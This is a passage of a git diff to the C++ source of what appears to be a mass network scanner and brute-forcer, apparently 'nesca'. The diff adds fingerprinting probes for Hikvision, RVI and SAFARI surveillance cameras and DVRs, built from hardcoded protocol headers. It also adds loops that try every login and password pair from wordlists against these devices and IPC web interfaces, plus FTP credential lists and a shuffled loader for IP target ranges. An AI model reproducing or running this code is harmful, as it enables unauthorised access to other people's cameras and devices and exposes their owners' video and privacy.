updateList("sshpass.txt", &oldSSHLstSize, (void*(*)(void))updateSSH);
|
||||
updateList("wflogin.txt", &oldWFLoginLstSize, (void*(*)(void))updateWFLogin);
|
||||
updateList("wfpass.txt", &oldWFPassLstSize, (void*(*)(void))updateWFPass);
|
||||
updateList(NEGATIVE_FN, &oldNegLstSize, (void*(*)(void))updateNegatives);
|
||||
updateList(LOGIN_FN, &oldLoginLstSize, (void*(*)(void))updateLogin);
|
||||
updateList(PASS_FN, &oldPassLstSize, (void*(*)(void))updatePass);
|
||||
updateList(SSH_PASS_FN, &oldSSHLstSize, (void*(*)(void))updateSSH);
|
||||
updateList(WF_LOGIN_FN, &oldWFLoginLstSize, (void*(*)(void))updateWFLogin);
|
||||
updateList(WF_PASS_FN, &oldWFPassLstSize, (void*(*)(void))updateWFPass);
|
||||
updateList(FTP_LOGIN_FN, &oldFTPLoginLstSize, (void*(*)(void))updateFTPLogin);
|
||||
updateList(FTP_PASS_FN, &oldFTPPassLstSize, (void*(*)(void))updateFTPPass);
|
||||
}
|
||||
|
||||
void FileUpdater::FUClear() {
|
||||
@ -332,4 +438,6 @@ void FileUpdater::FUClear() {
|
||||
oldSSHLstSize = 0;
|
||||
oldWFLoginLstSize = 0;
|
||||
oldWFPassLstSize = 0;
|
||||
oldFTPLoginLstSize = 0;
|
||||
oldFTPPassLstSize = 0;
|
||||
}
|
||||
|
@ -15,6 +15,9 @@ public:
|
||||
static long oldSSHLstSize;
|
||||
static long oldWFLoginLstSize;
|
||||
static long oldWFPassLstSize;
|
||||
static long oldFTPLoginLstSize;
|
||||
static long oldFTPPassLstSize;
|
||||
|
||||
static bool ready;
|
||||
static std::condition_variable cv;
|
||||
static std::mutex filesUpdatingMutex;
|
||||
|
@ -4,37 +4,383 @@
|
||||
|
||||
bool HikVis::isInitialized = false;
|
||||
|
||||
const char headerSAFARI[128] = {
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x52, 0x00, 0x00, 0x00, 0x7b, 0x22, 0x4d, 0x4f,
|
||||
0x44, 0x55, 0x4c, 0x45, 0x22, 0x3a, 0x22, 0x43, 0x45, 0x52, 0x54, 0x49, 0x46, 0x49, 0x43, 0x41,
|
||||
0x54, 0x45, 0x22, 0x2c, 0x22, 0x4f, 0x50, 0x45, 0x52, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x22, 0x3a,
|
||||
0x22, 0x43, 0x4f, 0x4e, 0x4e, 0x45, 0x43, 0x54, 0x22, 0x2c, 0x22, 0x53, 0x45, 0x53, 0x53, 0x49,
|
||||
0x4f, 0x4e, 0x22, 0x3a, 0x22, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x35, 0x2d, 0x36, 0x66,
|
||||
0x37, 0x32, 0x2d, 0x34, 0x31, 0x63, 0x61, 0x2d, 0x39, 0x63, 0x37, 0x33, 0x2d, 0x62, 0x34, 0x37,
|
||||
0x31, 0x33, 0x32, 0x36, 0x33, 0x65, 0x62, 0x36, 0x30, 0x22, 0x7d, 0x00
|
||||
};
|
||||
|
||||
const char headerIVMS[32] = {
|
||||
0x00, 0x00, 0x00, 0x20, 0x63, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
};
|
||||
|
||||
const char headerRVI[32] = {
|
||||
0xa0, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00,
|
||||
0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x00, 0x00,
|
||||
0x61, 0x64, 0x6d, 0x69, 0x6e, 0x00, 0x00, 0x00,
|
||||
0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0xa1, 0xaa
|
||||
};
|
||||
|
||||
const char loginRVIHeaderStart[8] = {
|
||||
0xa0, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x00
|
||||
};
|
||||
const char loginRVIHeaderEnd[8] = {
|
||||
0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0xa1, 0xaa
|
||||
};
|
||||
|
||||
|
||||
|
||||
int recvWT(
|
||||
int Socket,
|
||||
char *Buffer,
|
||||
int Len,
|
||||
long Timeout,
|
||||
int *bTimedOut
|
||||
){
|
||||
fd_set ReadSet;
|
||||
int n;
|
||||
struct timeval Time;
|
||||
FD_ZERO(&ReadSet);
|
||||
FD_SET(Socket, &ReadSet);
|
||||
Time.tv_sec = Timeout;
|
||||
Time.tv_usec = 0;
|
||||
*bTimedOut = FALSE;
|
||||
n = select(Socket + 1, &ReadSet, NULL, NULL, &Time);
|
||||
if (n > 0) { /* got some data */
|
||||
return recv(Socket, Buffer, Len, 0);
|
||||
}
|
||||
if (n == 0) { /* timeout */
|
||||
*bTimedOut = TRUE;
|
||||
}
|
||||
return(n); /* trouble */
|
||||
}
|
||||
|
||||
|
||||
bool HikVis::checkHikk(const char * sDVRIP, int port) {
|
||||
sockaddr_in sa;
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_port = htons(port);
|
||||
|
||||
hostent *host = NULL;
|
||||
#if defined(WIN32)
|
||||
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP);
|
||||
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||
#else
|
||||
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP);
|
||||
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||
#endif
|
||||
else return false;
|
||||
|
||||
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (sock == INVALID_SOCKET) return false;
|
||||
|
||||
struct linger linger = { 1, gTimeOut };
|
||||
setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger));
|
||||
|
||||
int res = connect(sock, (sockaddr*)&sa, sizeof(sa));
|
||||
int bTO;
|
||||
char buff[2048] = { 0 };
|
||||
if (res != SOCKET_ERROR) {
|
||||
send(sock, headerIVMS, 32, 0);
|
||||
char tBuff[32] = { 0 };
|
||||
int offset = 0;
|
||||
int sz = 0;
|
||||
while ((sz = recvWT(sock, tBuff, 16, gTimeOut, &bTO)) > 0) {
|
||||
memcpy(buff + offset, tBuff, sz);
|
||||
offset = sz;
|
||||
}
|
||||
|
||||
shutdown(sock, SD_BOTH);
|
||||
closesocket(sock);
|
||||
|
||||
if (buff[3] == 0x10) return true;
|
||||
else return false;
|
||||
}
|
||||
|
||||
shutdown(sock, SD_BOTH);
|
||||
closesocket(sock);
|
||||
return false;
|
||||
}
|
||||
|
||||
bool HikVis::checkRVI(const char * sDVRIP, int port) {
|
||||
sockaddr_in sa;
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_port = htons(port);
|
||||
|
||||
hostent *host = NULL;
|
||||
#if defined(WIN32)
|
||||
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP);
|
||||
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||
#else
|
||||
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP);
|
||||
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||
#endif
|
||||
else return false;
|
||||
|
||||
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (sock == INVALID_SOCKET) return false;
|
||||
|
||||
struct linger linger = { 1, gTimeOut };
|
||||
setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger));
|
||||
|
||||
int res = connect(sock, (sockaddr*)&sa, sizeof(sa));
|
||||
int bTO;
|
||||
char buff[2048] = { 0 };
|
||||
if (res != SOCKET_ERROR) {
|
||||
send(sock, headerRVI, 32, 0);
|
||||
char tBuff[32] = { 0 };
|
||||
int offset = 0;
|
||||
int sz = 0;
|
||||
while ((sz = recvWT(sock, tBuff, 16, gTimeOut, &bTO)) > 0) {
|
||||
memcpy(buff + offset, tBuff, sz);
|
||||
offset = sz;
|
||||
}
|
||||
|
||||
shutdown(sock, SD_BOTH);
|
||||
closesocket(sock);
|
||||
|
||||
if (buff[0] == -80) return true;
|
||||
else return false;
|
||||
}
|
||||
|
||||
shutdown(sock, SD_BOTH);
|
||||
closesocket(sock);
|
||||
return false;
|
||||
}
|
||||
|
||||
bool HikVis::checkSAFARI(const char * sDVRIP, int port) {
|
||||
sockaddr_in sa;
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_port = htons(port);
|
||||
|
||||
hostent *host = NULL;
|
||||
#if defined(WIN32)
|
||||
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP);
|
||||
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||
#else
|
||||
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP);
|
||||
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||
#endif
|
||||
else return false;
|
||||
|
||||
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (sock == INVALID_SOCKET) return false;
|
||||
|
||||
struct linger linger = { 1, gTimeOut };
|
||||
setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger));
|
||||
|
||||
int res = connect(sock, (sockaddr*)&sa, sizeof(sa));
|
||||
int bTO;
|
||||
char buff[2048] = { 0 };
|
||||
if (res != SOCKET_ERROR) {
|
||||
send(sock, headerSAFARI, 128, 0);
|
||||
char tBuff[128] = { 0 };
|
||||
int offset = 0;
|
||||
int sz = 0;
|
||||
while ((sz = recvWT(sock, tBuff, 128, gTimeOut, &bTO)) > 0) {
|
||||
memcpy(buff + offset, tBuff, sz);
|
||||
offset = sz;
|
||||
}
|
||||
|
||||
shutdown(sock, SD_BOTH);
|
||||
closesocket(sock);
|
||||
|
||||
if (buff[0] != '\0') {
|
||||
return true;
|
||||
}
|
||||
|
||||
if (buff[0] == 8) return true;
|
||||
else return false;
|
||||
}
|
||||
|
||||
shutdown(sock, SD_BOTH);
|
||||
closesocket(sock);
|
||||
return false;
|
||||
}
|
||||
|
||||
|
||||
lopaStr HikVis::hikLogin(const char * sDVRIP, int wDVRPort)
|
||||
{
|
||||
lopaStr lps = { "UNKNOWN", "", "" };
|
||||
int passCounter = 0;
|
||||
char ip[64] = { 0 };
|
||||
strcpy(ip, sDVRIP);
|
||||
int rowIndex = -1;
|
||||
|
||||
char login[64] = { 0 };
|
||||
char pass[64] = { 0 };
|
||||
|
||||
for (int i = 0; i < MaxLogin; ++i) {
|
||||
for (int j = 0; j < MaxPass; ++j) {
|
||||
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
|
||||
if (!globalScanFlag) return lps;
|
||||
ZeroMemory(login, 64);
|
||||
ZeroMemory(pass, 64);
|
||||
strcpy(login, loginLst[i]);
|
||||
strcpy(pass, passLst[j]);
|
||||
|
||||
NET_DVR_DEVICEINFO_V30 *info;
|
||||
NET_DVR_DEVICEINFO_V30 *info = 0;
|
||||
hik_init_ptr();
|
||||
if (hik_login_ptr(sDVRIP, wDVRPort, loginLst[i], passLst[j], info) == 0) {
|
||||
strcpy(lps.login, loginLst[i]);
|
||||
strcpy(lps.pass, passLst[j]);
|
||||
hik_cleanup_ptr();
|
||||
return lps;
|
||||
}
|
||||
int res = hik_login_ptr(ip, wDVRPort, login, pass, info);
|
||||
hik_cleanup_ptr();
|
||||
if (res == 0) {
|
||||
strcpy(lps.login, login);
|
||||
strcpy(lps.pass, pass);
|
||||
|
||||
if (BALogSwitched) stt->doEmitionBAData("HV: " + QString(sDVRIP) + ":" + QString::number(wDVRPort) +
|
||||
"; l/p: " + QString(loginLst[i]) + ":" + QString(passLst[j]) + "; - Progress: (" +
|
||||
QString::number((++passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
||||
|
||||
Sleep(100);
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), QString(login) + ":" + QString(pass), "OK");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK");
|
||||
}
|
||||
|
||||
return lps;
|
||||
}
|
||||
|
||||
if (BALogSwitched) {
|
||||
if (rowIndex == -1) {
|
||||
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort),
|
||||
QString(login) + ":" + QString(pass),
|
||||
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
|
||||
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
}
|
||||
else{ rowIndex = -1; }
|
||||
++passCounter;
|
||||
Sleep(200);
|
||||
}
|
||||
}
|
||||
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), "--", "FAIL");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||
}
|
||||
return lps;
|
||||
}
|
||||
|
||||
int rvi_login_ptr(const char *sDVRIP, int wDVRPort, const char *login, const char *pass) {
|
||||
sockaddr_in sa;
|
||||
sa.sin_family = AF_INET;
|
||||
sa.sin_port = htons(wDVRPort);
|
||||
|
||||
hostent *host = NULL;
|
||||
#if defined(WIN32)
|
||||
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.S_un.S_addr = inet_addr(sDVRIP);
|
||||
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||
#else
|
||||
if (inet_addr(sDVRIP) != INADDR_NONE) sa.sin_addr.s_addr = inet_addr(sDVRIP);
|
||||
else if (host = gethostbyname(sDVRIP)) ((unsigned long*)&sa.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
|
||||
#endif
|
||||
else return -1;
|
||||
|
||||
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
|
||||
if (sock == INVALID_SOCKET) return -1;
|
||||
|
||||
struct linger linger = { 1, gTimeOut };
|
||||
setsockopt(sock, SOL_SOCKET, SO_LINGER, (const char *)&linger, sizeof(linger));
|
||||
|
||||
int res = connect(sock, (sockaddr*)&sa, sizeof(sa));
|
||||
int bTO;
|
||||
|
||||
char newlp[32] = {0};
|
||||
memcpy(newlp, loginRVIHeaderStart, 8);
|
||||
memcpy(newlp + 8, login, strlen(login));
|
||||
memcpy(newlp + 16, pass, strlen(pass));
|
||||
memcpy(newlp + 24, loginRVIHeaderEnd, 8);
|
||||
|
||||
if (res != SOCKET_ERROR) {
|
||||
send(sock, newlp, 32, 0);
|
||||
char buff[32] = { 0 };
|
||||
recvWT(sock, buff, 16, gTimeOut, &bTO);
|
||||
|
||||
shutdown(sock, SD_BOTH);
|
||||
closesocket(sock);
|
||||
|
||||
if (buff[9] == 0x08) return 0;
|
||||
else return -1;
|
||||
}
|
||||
|
||||
shutdown(sock, SD_BOTH);
|
||||
closesocket(sock);
|
||||
return -1;
|
||||
}
|
||||
|
||||
lopaStr HikVis::rviLogin(const char * sDVRIP, int wDVRPort)
|
||||
{
|
||||
lopaStr lps = { "UNKNOWN", "", "" };
|
||||
int passCounter = 0;
|
||||
char ip[64] = { 0 };
|
||||
strcpy(ip, sDVRIP);
|
||||
int rowIndex = -1;
|
||||
|
||||
char login[64] = { 0 };
|
||||
char pass[64] = { 0 };
|
||||
|
||||
for (int i = 0; i < MaxLogin; ++i) {
|
||||
for (int j = 0; j < MaxPass; ++j) {
|
||||
FileUpdater::cv.wait(FileUpdater::lk, []{return FileUpdater::ready; });
|
||||
if (!globalScanFlag) return lps;
|
||||
ZeroMemory(login, 64);
|
||||
ZeroMemory(pass, 64);
|
||||
strcpy(login, loginLst[i]);
|
||||
strcpy(pass, passLst[j]);
|
||||
|
||||
if (strlen(login) > 8) break;
|
||||
if (strlen(pass) > 8) continue;
|
||||
|
||||
if (rvi_login_ptr(ip, wDVRPort, login, pass) == 0) {
|
||||
strcpy(lps.login, login);
|
||||
strcpy(lps.pass, pass);
|
||||
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), QString(login) + ":" + QString(pass), "OK");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK");
|
||||
}
|
||||
|
||||
return lps;
|
||||
}
|
||||
|
||||
if (BALogSwitched) {
|
||||
if (rowIndex == -1) {
|
||||
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort),
|
||||
QString(login) + ":" + QString(pass),
|
||||
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
|
||||
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
}
|
||||
else { rowIndex = -1; }
|
||||
++passCounter;
|
||||
Sleep(200);
|
||||
}
|
||||
}
|
||||
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(ip) + ":" + QString::number(wDVRPort), "--", "FAIL");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||
}
|
||||
return lps;
|
||||
}
|
||||
|
||||
|
||||
lopaStr HikVis::HVLobby(const char *ip, const int port) {
|
||||
if (gMaxBrutingThreads > 0) {
|
||||
|
||||
@ -52,3 +398,21 @@ lopaStr HikVis::HVLobby(const char *ip, const int port) {
|
||||
return lps;
|
||||
}
|
||||
}
|
||||
|
||||
lopaStr HikVis::RVILobby(const char *ip, const int port) {
|
||||
if (gMaxBrutingThreads > 0) {
|
||||
|
||||
while (BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
|
||||
|
||||
++baCount;
|
||||
++BrutingThrds;
|
||||
const lopaStr &lps = rviLogin(ip, port);
|
||||
--BrutingThrds;
|
||||
|
||||
return lps;
|
||||
}
|
||||
else {
|
||||
lopaStr lps = { "UNKNOWN", "", "" };
|
||||
return lps;
|
||||
}
|
||||
}
|
@ -8,11 +8,16 @@ class HikVis {
|
||||
public: static bool isInitialized;
|
||||
|
||||
private: lopaStr hikLogin(const char * sDVRIP, int wDVRPort);
|
||||
lopaStr rviLogin(const char * sDVRIP, int wDVRPort);
|
||||
|
||||
public:
|
||||
static bool checkHikk(const char * sDVRIP, int port);
|
||||
static bool checkRVI(const char * sDVRIP, int port);
|
||||
static bool checkSAFARI(const char * sDVRIP, int port);
|
||||
void hikInit();
|
||||
void hikCleanup();
|
||||
lopaStr HVLobby(const char *ip, const int port);
|
||||
lopaStr RVILobby(const char *ip, const int port);
|
||||
};
|
||||
|
||||
#endif // UTILS_H
|
43
IPCAuth.cpp
43
IPCAuth.cpp
@ -11,6 +11,7 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
|
||||
char pass[128] = {0};
|
||||
char request[1024] = {0};
|
||||
int passCounter = 1;
|
||||
int rowIndex = -1;
|
||||
|
||||
std::vector<char*> negVector;
|
||||
if(strcmp(SPEC, "IPC") == 0)
|
||||
@ -179,7 +180,15 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
|
||||
if (doPost) res = con.nConnect(request, port, &buffer, postData);
|
||||
else res = con.nConnect(request, port, &buffer);
|
||||
|
||||
if (res == -2) return lps;
|
||||
if (res == -2) {
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||
}
|
||||
return lps;
|
||||
}
|
||||
else if (res != -1) {
|
||||
for (int i = 0; i < negVector.size(); ++i)
|
||||
{
|
||||
@ -194,18 +203,40 @@ lopaStr IPC::IPCBrute(const char *ip, int port, char *SPEC)
|
||||
{
|
||||
strcpy(lps.login, loginLst[i]);
|
||||
strcpy(lps.pass, passLst[j]);
|
||||
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), QString(login) + ":" + QString(pass), "OK");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass), "OK");
|
||||
}
|
||||
|
||||
return lps;
|
||||
};
|
||||
}
|
||||
|
||||
if (BALogSwitched) stt->doEmitionBAData("IPC: " + QString(ip) + ":" + QString::number(port) +
|
||||
"; l/p: " + QString(login) + ":" + QString(pass) + "; - Progress: (" +
|
||||
QString::number((passCounter++ / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%)");
|
||||
|
||||
if (BALogSwitched) {
|
||||
if (rowIndex == -1) {
|
||||
rowIndex = nesca_3::addBARow(QString(ip) + ":" + QString::number(port),
|
||||
QString(login) + ":" + QString(pass),
|
||||
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, QString(login) + ":" + QString(pass),
|
||||
QString::number((passCounter / (double)(MaxPass*MaxLogin)) * 100).mid(0, 4) + "%");
|
||||
}
|
||||
}
|
||||
else { rowIndex = -1; }
|
||||
++passCounter;
|
||||
Sleep(100);
|
||||
};
|
||||
};
|
||||
|
||||
if (rowIndex == -1) {
|
||||
nesca_3::addBARow(QString(ip) + ":" + QString::number(port), "--", "FAIL");
|
||||
}
|
||||
else {
|
||||
stt->doEmitionChangeBARow(rowIndex, "--", "FAIL");
|
||||
}
|
||||
return lps;
|
||||
}
|
||||
|
||||
|
335
MainStarter.cpp
335
MainStarter.cpp
@ -10,16 +10,16 @@
|
||||
int gTimeOut = 3;
|
||||
int gPingTimeout = 1;
|
||||
int gMode;
|
||||
int PieAnomC1 = 0, PieBA = 0, PieSusp = 0, PieLowl = 0, PieWF = 0, PieSSH = 0;
|
||||
int AnomC1 = 0, filtered = 0, Overl = 0, Lowl = 0, Alive = 0, saved = 0, Susp = 0, WF = 0, ssh = 0;
|
||||
int PieCamerasC1 = 0, PieBA = 0, PieOther = 0, PieSSH = 0;
|
||||
int camerasC1 = 0, filtered = 0, Overl = 0, Alive = 0, saved = 0, other = 0, ssh = 0;
|
||||
int found = 0, indexIP = 0;
|
||||
int MaxPass = 0, MaxLogin = 0, MaxTags = 0, MaxWFLogin = 0, MaxWFPass = 0, MaxSSHPass = 0;
|
||||
int MaxPass = 0, MaxLogin = 0,
|
||||
MaxWFLogin = 0, MaxWFPass = 0,
|
||||
MaxFTPLogin = 0, MaxFTPPass = 0,
|
||||
MaxSSHPass = 0;
|
||||
int baCount = 0;
|
||||
int gMaxBrutingThreads = 50;
|
||||
unsigned int Activity = 0;
|
||||
char **loginLst, **passLst;
|
||||
char **wfLoginLst, **wfPassLst;
|
||||
char **sshlpLst;
|
||||
char gTLD[128] = { 0 };
|
||||
char gPorts[65536] = { 0 };
|
||||
char currentIP[MAX_ADDR_LEN] = { 0 };
|
||||
@ -42,18 +42,20 @@ char metaTargets[256] = { 0 };
|
||||
char metaETA[256] = { 0 };
|
||||
char metaOffline[256] = { 0 };
|
||||
|
||||
bool saveBackup;
|
||||
|
||||
|
||||
void MainStarter::unBlockButtons(){
|
||||
stt->doEmitionBlockButton(false);
|
||||
}
|
||||
int MainStarter::fileLoader(const char *fileName) {
|
||||
|
||||
char curIP[256] = { 0 }, curIPCopy[256] = { 0 };
|
||||
unsigned int importFileSize = 0;
|
||||
|
||||
FILE *fl = fopen(fileName, "r");
|
||||
if (fl != NULL)
|
||||
{
|
||||
char curIP[256] = { 0 };
|
||||
while (fgets((char*)curIP, sizeof(curIP), fl) != NULL)
|
||||
{
|
||||
if (curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 &&
|
||||
@ -62,11 +64,11 @@ int MainStarter::fileLoader(const char *fileName) {
|
||||
) ++importFileSize;
|
||||
ZeroMemory(curIP, sizeof(curIP));
|
||||
};
|
||||
|
||||
if (importFileSize == 0) {
|
||||
fclose(fl);
|
||||
return -1;
|
||||
}
|
||||
else stt->doEmitionRedFoundData("[IP Loader] Cannot open IP list.");
|
||||
|
||||
if (importFileSize == 0) return -1;
|
||||
|
||||
ipsstartfl = new unsigned int*[importFileSize + 1];
|
||||
ipsendfl = new unsigned int*[importFileSize + 1];
|
||||
@ -82,31 +84,22 @@ int MainStarter::fileLoader(const char *fileName) {
|
||||
ZeroMemory(ipsendfl[i], sizeof(ipsendfl[i]));
|
||||
};
|
||||
|
||||
rewind(fl);
|
||||
std::vector<std::string> shuffleArray;
|
||||
ifstream inputStream(fileName);
|
||||
std::string curIPStr;
|
||||
|
||||
while (fgets(curIP, 256, fl) != NULL)
|
||||
while (!inputStream.eof())
|
||||
{
|
||||
if (curIP[0] != '#' && curIP[0] != ' ' && curIP[0] != '\n' && curIP[0] != '\r' && strcmp(curIP, "") != 0 &&
|
||||
((curIP[0] == '/' && curIP[1] == '/') == false) && ((curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == 13 || curIP[3] == 10 || curIP[3] == '#')) == false)
|
||||
&& (curIP[0] == '\t' && curIP[1] == '\t' && curIP[2] == '\t' && (curIP[3] == '/' && curIP[4] == '/')) == false)
|
||||
{
|
||||
strcpy(curIPCopy, curIP);
|
||||
char *ptr1 = strstr(curIP, " ");
|
||||
if (ptr1 != NULL) curIP[(int)(ptr1 - curIP)] = '\0';
|
||||
ptr1 = strstr(curIP, " ");
|
||||
if (ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0';
|
||||
ptr1 = strstr(curIP, "#");
|
||||
if (ptr1 != NULL) curIP[(int)(ptr1 - curIP) - 1] = '\0';
|
||||
if (strcmp(curIP, "") == 0 || strcmp(curIP, " ") == 0 || strcmp(curIP, "\r\n") == 0 || strcmp(curIP, "\n") == 0 || curIP[0] == ' ' || curIP[0] == '#')
|
||||
{
|
||||
ZeroMemory(curIPCopy, sizeof(curIPCopy));
|
||||
ZeroMemory(curIP, sizeof(curIP));
|
||||
continue;
|
||||
};
|
||||
std::getline(inputStream, curIPStr);
|
||||
if (curIPStr.size() > 1
|
||||
&& curIPStr.find("#") == std::string::npos) shuffleArray.push_back(curIPStr);
|
||||
}
|
||||
|
||||
if (strstr(curIP, "-") != NULL)
|
||||
{
|
||||
std::vector<std::string> tmpIPVec = Utils::splitToStrVector(curIP, '-');
|
||||
std::random_shuffle(shuffleArray.begin(), shuffleArray.end());
|
||||
for (int i = 0; i < importFileSize; ++i) {
|
||||
curIPStr = shuffleArray[i];
|
||||
if (curIPStr.find("-") != std::string::npos) {
|
||||
std::vector<std::string> tmpIPVec = Utils::splitToStrVector(curIPStr, '-');
|
||||
std::vector<int> tmpIPIntVec1 = Utils::splitToIntVector(tmpIPVec[0], '.');
|
||||
std::vector<int> tmpIPIntVec2 = Utils::splitToIntVector(tmpIPVec[1], '.');
|
||||
|
||||
@ -135,10 +128,8 @@ int MainStarter::fileLoader(const char *fileName) {
|
||||
)
|
||||
)
|
||||
{
|
||||
stt->doEmitionRedFoundData("[IP Loader]Wrong list format. Line-> [" +
|
||||
QString::number(MainStarter::flCounter) +
|
||||
"] String-> [" +
|
||||
QString(curIPCopy) + "]");
|
||||
stt->doEmitionRedFoundData(" [IP Loader]Wrong list format. String-> [" +
|
||||
QString(curIPStr.c_str()) + "]");
|
||||
return -1;
|
||||
};
|
||||
|
||||
@ -153,26 +144,24 @@ int MainStarter::fileLoader(const char *fileName) {
|
||||
|
||||
if (ip1 > ip2) {
|
||||
stt->doEmitionRedFoundData(" Malformed input: check your range (" +
|
||||
QString(curIP) + ")");
|
||||
QString(curIPStr.c_str()) + ")");
|
||||
}
|
||||
|
||||
gTargets += ip2 - ip1 + 1;
|
||||
++MainStarter::flCounter;
|
||||
}
|
||||
else if (strstr(curIP, "/") != NULL)
|
||||
else if (curIPStr.find("/") != std::string::npos)
|
||||
{
|
||||
if (strlen(curIP) > 18) {
|
||||
stt->doEmitionRedFoundData("[IP Loader]Wrong list format. Line-> [" +
|
||||
QString::number(MainStarter::flCounter) +
|
||||
"] String-> [" +
|
||||
QString(curIPCopy) +
|
||||
if (curIPStr.size() > 18) {
|
||||
stt->doEmitionRedFoundData(" [IP Loader]Wrong list format. String-> [" +
|
||||
QString(curIPStr.c_str()) +
|
||||
"]");
|
||||
continue;
|
||||
}
|
||||
unsigned int ip[4] = { 0 }, ip_min[4] = { 0 }, ip_max[4] = { 0 }, tmp1, tmp2;
|
||||
unsigned int netmask = atoi(strstr(curIP, "/") + 1);
|
||||
